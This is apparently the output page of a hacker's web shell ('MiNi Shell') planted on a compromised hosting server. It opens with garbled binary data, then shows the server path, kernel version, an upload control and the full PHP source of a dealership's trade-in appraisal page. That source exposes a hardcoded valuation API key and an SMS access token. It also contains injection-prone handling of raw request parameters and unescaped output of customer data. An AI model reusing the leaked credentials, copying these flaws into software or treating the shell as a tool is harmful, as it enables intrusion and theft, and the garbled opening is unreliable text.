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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/b1705/absoluteresultstechnologies.net/dartdeals/

Linux boscustweb5002.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/sb_web/b1705/absoluteresultstechnologies.net/dartdeals/appraisal.php

<?php 
	include_once('includes.php'); 
	
	if($dealerInfo[$_SESSION['registration']['selectedDealer']]['eventID'] == "")
	{
		header("location: index.php");
		exit;
	}
	
	if(isset($_GET['playNextVideo']))
	{
		$key = array_search($_SESSION['currentVideo'],$dealerInfo[$_SESSION['registration']['selectedDealer']]['videos']);
		$key++;
		if($dealerInfo[$_SESSION['registration']['selectedDealer']]['videos'][$key] == "") $key = 0;
		$_SESSION['currentVideo'] = $dealerInfo[$_SESSION['registration']['selectedDealer']]['videos'][$key];
		
		$html = ' <video id="myvideo" style="width:100%;height:100%" controls autoplay>
					  <source src="video/' . $_SESSION['currentVideo'] . '.mp4" type="video/mp4">
					  <source src="video/' . $_SESSION['currentVideo'] . '.webm" type="video/webm">
					</video>';
					//$html = '';
		?>
		
		document.getElementById('videodiv').innerHTML = '<?= ajaxHTML($html) ?>';
		
		document.getElementById('myvideo').addEventListener("ended", function () {
        playNextVideo();
    	});
		<?php
		exit;
		
	}
	if(!isset($_SESSION['currentVideo'])) $_SESSION['currentVideo'] = $dealerInfo[$_SESSION['registration']['selectedDealer']]['videos'][0];
	
	$bbLink = 'http://xml.canadianblackbook.com/XMLWebServices/service?&account=absolute_xml&key=Dgje48Sw39&schemaVersion=3.0&';
	
	$lists = array('years','makes','models','trims','styles');
	
	if(isset($_GET['getList']))
	{
		$curKey = array_search($_GET['getList'],$lists);
 		
   		if($_GET['getList'] == 'years')
   		{
			$xml = simplexml_load_file($bbLink . 'command=' . $_GET['getList']);
   			$list = $xml->response->years->year;
   			
   			if($list == '') exit;
   		}
   		else if($_GET['getList'] == 'makes')
   		{
			$xml = simplexml_load_file($bbLink . 'year=' . $_GET['year'] . '&command=' . $_GET['getList']);
			$list = $xml->response->makes->make;
   			if($list == '') exit;
		}
   		else if($_GET['getList'] == 'models')
   		{
			$xml = simplexml_load_file($bbLink . 'year=' . $_GET['year'] . '&make=' . urlencode($_GET['make']) . '&command=' . $_GET['getList']);
			$list = $xml->response->models->model;
   			if($list == '') exit;
		}
   		else if($_GET['getList'] == 'trims')
   		{
			$xml = simplexml_load_file($bbLink . 'year=' . $_GET['year'] . '&make=' . urlencode($_GET['make']) . '&model=' . urlencode($_GET['model']) . '&command=' . $_GET['getList']);
			$list = $xml->response->trims->trim;
		}
   		else if($_GET['getList'] == 'styles')
   		{
			$xml = simplexml_load_file($bbLink . 'year=' . $_GET['year'] . '&make=' . urlencode($_GET['make']) . '&model=' . urlencode($_GET['model']) . '&trim=' . urlencode($_GET['trim']) . '&command=' . $_GET['getList']);
			$list = $xml->response->styles->style;
		}
   		
   		$html = '<select id="' . $_GET['getList'] . '" name="' . $_GET['getList'] . '" style="width:90%;font-size:1.2em;padding-bottom:1px;" ' . ($curKey < (count($lists)-1) ? ' onChange="getList(\'' .  $lists[$curKey+1] . '\')"' : '') . '>';
   		
   		if(count($list) > 1) $html .= '<option value=""></option>';
   		if($list == '') $html .= '<option value="">None</option>';
   		
   		foreach($list as $item)
   		{
   			$html .= '<option value="' . $item . '">' . $item . '</option>';
   		}
   		$html .= '</select>';
   		
   		?>
   		document.getElementById('<?= $_GET['getList'] ?>Div').innerHTML = '<?= ajaxHTML($html) ?>';
   		<?php
   		
   		for($i = ($curKey+1); $i < count($lists); $i++)
   		{
	   		?>
	   		document.getElementById('<?= $lists[$i] ?>Div').innerHTML = '<?= ajaxHTML('<select id="' . $_GET['getList'] . '" name="' . $_GET['getList'] . '" style="font-size:1.2em;width:20%"></select>') ?>';
	   		<?php
   		}
   		
   		if(($curKey < (count($lists)-1)) && count($list) == 1)
   		{
	   		?>
	   		getList('<?= $lists[$curKey+1]?>');
	   		<?php   			
   		}
   		
   		exit;
	}
	
	if(isset($_GET['submitList']))
	{
		//unset($_SESSION['registration']['customer']);		
		foreach($_GET as $key => $val)
		{
			if(in_array($key,array('firstname','lastname','email','mainPhone','postalCode','appointmentDate'))) $_SESSION['registration']['customer'][$key] = $val;
			else $_SESSION['registration']['tradeIn'][$key] = $val;
		}
		$xml = simplexml_load_file($bbLink . 'kilometers=' . ereg_replace("[^0-9]", "", $_SESSION['registration']['tradeIn']['kilometers']) . '&year=' . $_SESSION['registration']['tradeIn']['years'] . '&make=' . urlencode($_SESSION['registration']['tradeIn']['makes']) . '&model=' . urlencode($_SESSION['registration']['tradeIn']['models']) . '&trim=' . urlencode($_SESSION['registration']['tradeIn']['trims']) . '&style=' . urlencode($_SESSION['registration']['tradeIn']['styles']) . '&command=priceVehicle');
		$list = $xml->response->vehicles->vehicle->values;
		$_SESSION['registration']['tradeIn']['values'] = get_object_vars ($list);
			
		?>
		document.getElementById('emailFrame').src = 'http://ar.absoluteresults.com/dartdeals/appraisalEmail.php?regID=<?= urlencode(serialize($_SESSION['registration'])) ?>';
		<?php
		exit;		
	}
	
	if(isset($_GET['sendSMS']))
	{
		$message = urlencode(str_replace(array(" ","&"),array("%20","%26"),"Please reply 'Y' to this message to confirm your registration!"));
		$replyMessage = urlencode(str_replace(array(" ","&"),array("%20","%26"),"Thank you for your confirmation. We will contact you shortly."));
		$smsAPI = 'https://x1.taarga.com/sms/create?mobile_number=1' . trim(preg_replace("/[^0-9]/","", $_SESSION['registration']['customer']['mainPhone'])) . '&message=' . $message . '&access_token=e9ef6aacc17289b5238fe42a56a697fe&contact_name=' . urlencode($_SESSION['registration']['customer']['firstname'] . ' ' . $_SESSION['registration']['customer']['lastname']) . '&email_addr=' . urlencode($_SESSION['registration']['customer']['email']) . '&reply_msg=' . $replyMessage . '&sender_ref=' . $_SESSION['registration']['selectedDealer'];
					
		?>
		document.getElementById('smsFrame').src = '<?= $smsAPI ?>';
		<?php
		exit;		
	}
	
	include_once('header.php'); 
?>

		<script>						
			function getList(val)
			{
				htmlStr = 'appraisal.php?getList=' + val;
				var arr = new Array('years','makes','models','trims','styles');
				var arr2 = new Array('year','make','model','trim','style');
				for (var i = 0; i < arr.length; i++) 
				{
				  var temp = '';
				  if(document.getElementById(arr[i]) != undefined)  temp=encodeURIComponent(document.getElementById(arr[i]).value);
				  htmlStr = htmlStr + '&' + arr2[i] + '=' + temp;
				}
				
				ajax_do(htmlStr);
				
			}
				
			function submitList()
			{				
				htmlStr = 'appraisal.php?submitList=';
				var arrRequired = new Array('firstname','lastname','email','mainPhone');
				var arr = new Array('firstname','lastname','email','mainPhone','years','makes','models','trims','styles','kilometers');
				for (var i = 0; i < arrRequired.length; i++) 
				{			
					if(document.getElementById(arrRequired[i]).value == "") 
					{
						alert('Please complete all the required fields to see your appraisal value.\nThank you.');
						return false;
					}
				}
				
				var emailStr = document.getElementById('email').value;
				var atpos=emailStr.indexOf("@");
				var dotpos=emailStr.lastIndexOf(".");
				if (atpos<1 || dotpos<atpos+2 || dotpos+2>=emailStr.length)
				{
					alert("The email address appears to be invalid.");
				   	return false;
				}
				
				
				for (var i = 0; i < arr.length; i++) 
				{			
					var temp = '';
					if(document.getElementById(arr[i]) != undefined)  temp=encodeURIComponent(document.getElementById(arr[i]).value);
					htmlStr = htmlStr + '&' + arr[i] + '=' + temp;
				}
				
				document.getElementById('submitButton').value = 'Please wait...';
				document.getElementById('submitButton').disabled = true;
				
				ajax_do(htmlStr);
				return false;
			}
			
			
			function emailSent()
			{
				if(document.getElementById('emailFrame').src != "")
				{
					document.getElementById('emailFrame').onload = function() {};
					document.getElementById('emailFrame').src = "";
					ajax_do('appraisal.php?sendSMS=');
				}
			}
			
			function smsSent()
			{
				if(document.getElementById('smsFrame').src != "")
				{
					document.getElementById('smsFrame').onload = function() {};
					document.getElementById('smsFrame').src = "";
					alert('Thank you for your submission.\nPlease check your email for details.');
					location.href = 'appraisal.php?complete';
				}
			}
			
		</script>	
		<!--
	<div class="container" style="background-color:#ddd;background-image: url('images/greybg.png')">
		<div class="sixteen columns">
			<div style="padding:10px">
				<center><h4><?= (isset($_GET['complete']) ? 'Thank you for your registration.' : '') ?></h4></center>
			</div>
		</div>
	</div>
	-->
	<div class="container" style="background-image:url('images/transparentBG.png');">
		<form method="POST" style="margin:0px" onSubmit="return submitList();">	
<?php if(isset($_GET['complete'])) { ?>	
				<div style="padding:40px;height:400px">
					<center>
						<font style="font-family:UniversBold;font-size:1.8em;color:yellow;line-height:1em">Thank you for your registration.</font>
						<br>
						Your information has been submitted successfully.
						<br>
						The appraisal value of your vehicle has been emailed to you.
						<br><br>
						We will contact you shortly.
					</center>
				</div>
<?php } else { ?>		
				<div class="six columns alpha" style="padding-top:30px">	
					<table cellspacing="0" cellpadding="0" style="width:100%;">
						<tr>
							<td style="padding-left:20px;font-family:UniversBold;font-size:1.8em;color:#d92127;line-height:1em">
								REGISTER FOR A TEST DRIVE
								AND GET YOUR <br>
								<font style="color:yellow">FIRST 3 PAYMENTS FREE!</font>
							</td>
						</tr>
					</table>
				</div>
				<div class="ten columns alpha" style="padding-top:20px">	
					<table cellspacing="0" cellpadding="0" style="width:100%">
						<tr>
							<td style="width:50%">
								<label for="firstname" style="color:yellow">First Name</label>
								<input type="text" style="width:90%" id="firstname" name="firstname" value="<?= $_SESSION['registration']['customer']['firstname'] ?>">		
							</td>
							<td style="width:50%">
								<label for="lastname" style="color:yellow">Last Name</label>
								<input type="text" style="width:94%" id="lastname" name="lastname" value="<?= $_SESSION['registration']['customer']['lastname'] ?>">		
							</td>
						</tr>
					</table>
					<table cellspacing="0" cellpadding="0" style="width:100%">
						<tr>
							<td style="width:50%">
								<label for="mainPhone" style="color:yellow">Phone</label>
								<input type="text" style="width:90%" id="mainPhone" name="mainPhone" value="<?= $_SESSION['registration']['customer']['mainPhone'] ?>">		
							</td>
							<td style="width:50%">
								<label for="email" style="color:yellow">Email</label>
								<input type="text" style="width:94%" id="email" name="email" value="<?= $_SESSION['registration']['customer']['email'] ?>">		
							</td>
						</tr>
					</table>
				</div>
				<br class="clear">
				<div class="six columns alpha" style="padding-top:30px">	
					<table cellspacing="0" cellpadding="0" style="width:100%;">
						<tr>
							<td style="padding-left:20px;font-family:UniversBold;font-size:1.6em;color:#d92127;line-height:1em">
								FILL IN YOUR VEHICLE INFORMATION
								AND GET YOUR <br>
								<font style="color:yellow">FREE TRADE-IN APPRAISAL!</font>
								<div style="padding-top:20px;font-size:0.5em;color:white">
									POWERED BY
									<br>
									<img src="images/blackbook.png" class="scale-with-grid">
								</div>
							</td>
						</tr>
					</table>
				</div>
				<div class="ten columns alpha" style="padding-top:20px">	
					<table cellspacing="0" cellpadding="0" style="width:100%">
						<tr>
							<td style="width:50%">
								<label>Year</label>
								<div id="yearsDiv"></div>	
							</td>
							<td style="width:50%">
								<label>Make</label>
								<div id="makesDiv"></div>
							</td>
						</tr>
					</table>
					<table cellspacing="0" cellpadding="0" style="width:100%">
						<tr>
							<td style="width:50%">
								<label>Model</label>
								<div id="modelsDiv"></div>
							</td>
							<td style="width:50%">
								<label>Trim</label>
								<div id="trimsDiv"></div>
							</td>
						</tr>
					</table>
					<table cellspacing="0" cellpadding="0" style="width:100%">
						<tr>
							<td style="width:50%">
								<label>Style</label>
								<div id="stylesDiv"></div>
							</td>
							<td style="width:50%">
								<label for="kilometers">KM</label>
								<input type="text" style="width:94%" id="kilometers" name="kilometers" value="<?= $_SESSION['registration']['tradeIn']['kilometers'] ?>">	
							</td>
						</tr>
					</table>
					<script>
						getList('years');
					</script>
				</div>
				<br class="clear">
				<br>
				<center>
					<script>
					function toogleOptIn() {
				        if ($('#optin').css('display') == 'none') {
				            $('#optin-read-more').css('display', 'none');
				            $('#optin').css('display', 'inline');
				        } else {
				            $('#optin-read-more').css('display', 'inline');
				            $('#optin').css('display', 'none');
				        }
				    }
				   </script>
					<div style="width:90%;font-size:9pt;">
							By clicking "Register Now": (a) you acknowledge that you have read, understand and agree with the terms of the Absolute Results <a href="http://www.absoluteresults.com/downloads/Privacy%20Policy.pdf" target="_blank">Privacy Policy</a>...
								<a href="" 
				        id="optin-read-more" onclick="toogleOptIn(); return false;">
				        Read More</a> 
				        <div style="display:none" id="optin">
				        	 and (b) you authorize the Absolute Results (or "us") to collect, use and disclose your personal information, as provided in this form or in any other manner, in accordance with the Absolute Results Privacy Policy and/or as otherwise permitted or required by law. Only members of our personnel who require access to your personal information for the above purposes will be given access to your information. Your personal information will be kept at our office at 104-2677 192 St, Surrey, BC V3S 3X1 and you may request access to, and/or rectification of, your information by contacting our privacy officer at info@absoluteresults.com. You may also withdraw your consent to the foregoing by contacting us at 1.888.751.7171 , at http://www.absoluteresults.com/contactus.php or at the above mailing address or email address. 
				        </div>   
				    </div>  
				    <br>        
					<input type="submit" id="submitButton" value="Register Now" style="font-weight:bold;font-size:1.5em;background-color:#efd23b;width:220px">					
					</center>
<?php } ?>		
			</div>
		</form>	
	</div>
<?php include_once('footer.php'); ?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com